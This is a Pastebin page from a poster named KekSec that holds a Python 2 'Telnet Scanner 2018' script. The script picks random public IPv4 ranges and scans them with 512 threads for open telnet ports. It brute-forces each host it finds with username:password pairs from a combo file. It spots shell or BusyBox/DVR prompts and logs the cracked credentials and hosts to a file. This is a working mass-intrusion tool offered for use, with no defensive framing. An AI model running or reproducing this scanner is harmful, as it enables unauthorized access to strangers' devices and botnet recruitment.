Advertisement
KekSec

Telnet Scanner 2018

Jul 17th, 2018
1,449
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 3.47 KB | None | 0 0
  1. import socket
  2. import random
  3. import itertools
  4. import os
  5. import string
  6. import time
  7. import socket
  8. import threading
  9. import select
  10.  
  11. def gen_IP_block():
  12.     not_valid = [10,127,169,172,192]
  13.     first = random.randrange(1,256)
  14.     while first in not_valid:
  15.         first = random.randrange(1,256)
  16.     ip = ".".join([str(first),str(random.randrange(1,256)),
  17.     str(random.randrange(1,256))])
  18.     return ip+".1-255"
  19.  
  20. def ip_range(input_string):
  21.     octets = input_string.split('.')
  22.     chunks = [map(int, octet.split('-')) for octet in octets]
  23.     ranges = [range(c[0], c[1] + 1) if len(c) == 2 else c for c in chunks]
  24.  
  25.     for address in itertools.product(*ranges):
  26.         yield '.'.join(map(str, address))
  27.  
  28. def Scan(IP):
  29.     global totalscanned
  30.     try:
  31.         s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  32.         s.settimeout(1)
  33.         s.connect((IP, 23))
  34.         s.close()
  35.         totalscanned += 1
  36.         return True
  37.     except:
  38.         totalscanned += 1
  39.         return False
  40.         pass
  41.  
  42. def recv_timeout(sock, timeout):
  43.     sock.setblocking(0)
  44.     ready = select.select([sock], [], [], timeout)
  45.     if ready[0]:
  46.         data = sock.recv(4096)
  47.     return data
  48.  
  49. def TelnetBrute(host):
  50.     global fh
  51.     global totalguessed
  52.     global totalfound
  53.     combos = open("combo.txt", "r").read().replace("\r", "").split("\n")
  54.     data = ""
  55.     for passwd in combos:
  56.         try:
  57.             s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  58.             s.settimeout(1)
  59.             s.connect((host, 23))
  60.             s.send(passwd.split(":")[0] + "\r\n")
  61.             time.sleep(1)
  62.             s.send(passwd.split(":")[1] + "\r\n")
  63.             data = recv_timeout(s, 2)
  64.             totalguessed += 1
  65.             for good in ["$", "#", ">", "shell", "dvrdvs", "usybox"]:
  66.                 if good in data:
  67.                     totalfound += 1
  68.                     fh.write(passwd + ":" + host + "\n")
  69.                     fh.flush()
  70.                     return
  71.         except Exception as e:
  72.             pass
  73. def checkrange():
  74.     checkedrange = 0
  75.     while 1:
  76.         for IP in ip_range(gen_IP_block()):
  77.             if Scan(".".join(IP.split(".")[:3])+".1") and Scan(".".join(IP.split(".")[:3])+".254") and checkrange == 0:
  78.                 checkedrange = 1
  79.                 break #entire ip range has port open, skipping...
  80.             if Scan(IP):
  81.                 TelnetBrute(IP)
  82.         checkedrange = 0
  83. def Status():
  84.     global totalfound
  85.     global totalguessed
  86.     global totalscanned
  87.     while 1:
  88.         print 'Total Telnetz found: {0} Total guessed: {1} Total scanned: {2}\r'.format(totalfound, totalguessed, totalscanned),
  89.         time.sleep(1)
  90.  
  91. global fh
  92. global totalfound
  93. global totalguessed
  94. global totalscanned
  95. global isscreenshotting
  96. fh = open("telnetz.txt", "wb")
  97. totalfound = 0
  98. totalguessed = 0
  99. totalscanned = 0
  100. isscreenshotting = 0
  101. threads = 0
  102. threading.Thread(target = Status, args = ()).start()
  103. for thread in xrange(0,512):
  104.     try:
  105.         threading.Thread(target = checkrange, args = ()).start()
  106.         threads += 1
  107.     except:
  108.         pass
  109.  
  110. for i in range(0,3):
  111.     raw_input()
  112.  
  113. os.popen("taskkill /f /pid " + str(os.getpid()))
  114.  
  115. '''
  116. if __name__ == "__main__":
  117.    threadcount = 0
  118.    for i in xrange(0,1024):
  119.        try:
  120.            threading.Thread(target=HaxThread, args=()).start()
  121.            threadcount += 1
  122.        except:
  123.            pass
  124.    print "[*] Started " + str(threadcount) + " scanner threads!"
  125. '''
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement